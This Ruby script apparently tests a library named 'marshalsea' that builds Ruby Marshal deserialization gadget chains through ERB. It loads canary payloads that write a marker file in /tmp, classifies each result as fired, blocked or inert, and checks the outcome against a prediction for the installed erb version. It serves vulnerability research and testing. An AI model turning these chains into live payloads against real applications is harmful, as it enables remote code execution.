# ©AngelaMos | 2026 # exploit_probe.rb # frozen_string_literal: true require "fileutils" require "marshalsea" CANARY_PATH = "/tmp/marshalsea-canary" CANARY_MARKER = "fired" RESULT_FIRED = "FIRED" RESULT_BLOCKED = "BLOCKED" RESULT_INERT = "INERT" def canary_present? File.exist?(CANARY_PATH) && File.read(CANARY_PATH) == CANARY_MARKER end def clear_canary FileUtils.rm_f(CANARY_PATH) end def classify(fired, detail) return RESULT_FIRED if fired return RESULT_BLOCKED if detail.start_with?("ArgumentError") RESULT_INERT end def observe clear_canary detail = begin yield "returned" rescue StandardError => e "#{e.class}: #{e.message}" end [canary_present?, detail] end erb_version = Gem::Specification.find_all_by_name("erb").map(&:version).max.to_s image = ENV.fetch("MATRIX_IMAGE", "?") chain = Marshalsea::Chains::ErbDefModule.canary(CANARY_PATH, CANARY_MARKER) primitive = Marshalsea::Chains::ErbDefMethod.canary(CANARY_PATH, CANARY_MARKER) chain_blob = chain.serialize primitive_blob = primitive.serialize built_without_firing = !canary_present? chain_fired, chain_detail = observe { Marshal.load(chain_blob) } chain_outcome = classify(chain_fired, chain_detail) primitive_load_fired, = observe { Marshal.load(primitive_blob) } primitive_fired, primitive_detail = observe do Marshal.load(primitive_blob).def_method(Module.new, "marshalsea_probe") end primitive_outcome = classify(primitive_fired, primitive_detail) clear_canary predicted = Marshalsea::Chains::ErbDefModule.affects?(erb_version) ? RESULT_FIRED : RESULT_BLOCKED inspection = Marshalsea::Marshal::Parser.new(chain_blob).parse puts format("%-9s erb=%-9s chain=%-8s primitive=%-8s predicted=%-8s sinks=%d %s", image, erb_version, chain_outcome, primitive_outcome, predicted, inspection.sinks.length, chain_detail[0, 60]) checks = { "builder_did_not_execute_its_own_payload" => built_without_firing, "chain_matches_prediction" => chain_outcome == predicted, "primitive_matches_prediction" => primitive_outcome == predicted, "primitive_is_inert_until_the_application_calls_it" => !primitive_load_fired, "chain_carries_no_sink_tag" => inspection.sinks.empty? } checks.each { |name, ok| puts "#{name}=#{ok}" } exit(checks.values.all? ? 0 : 1)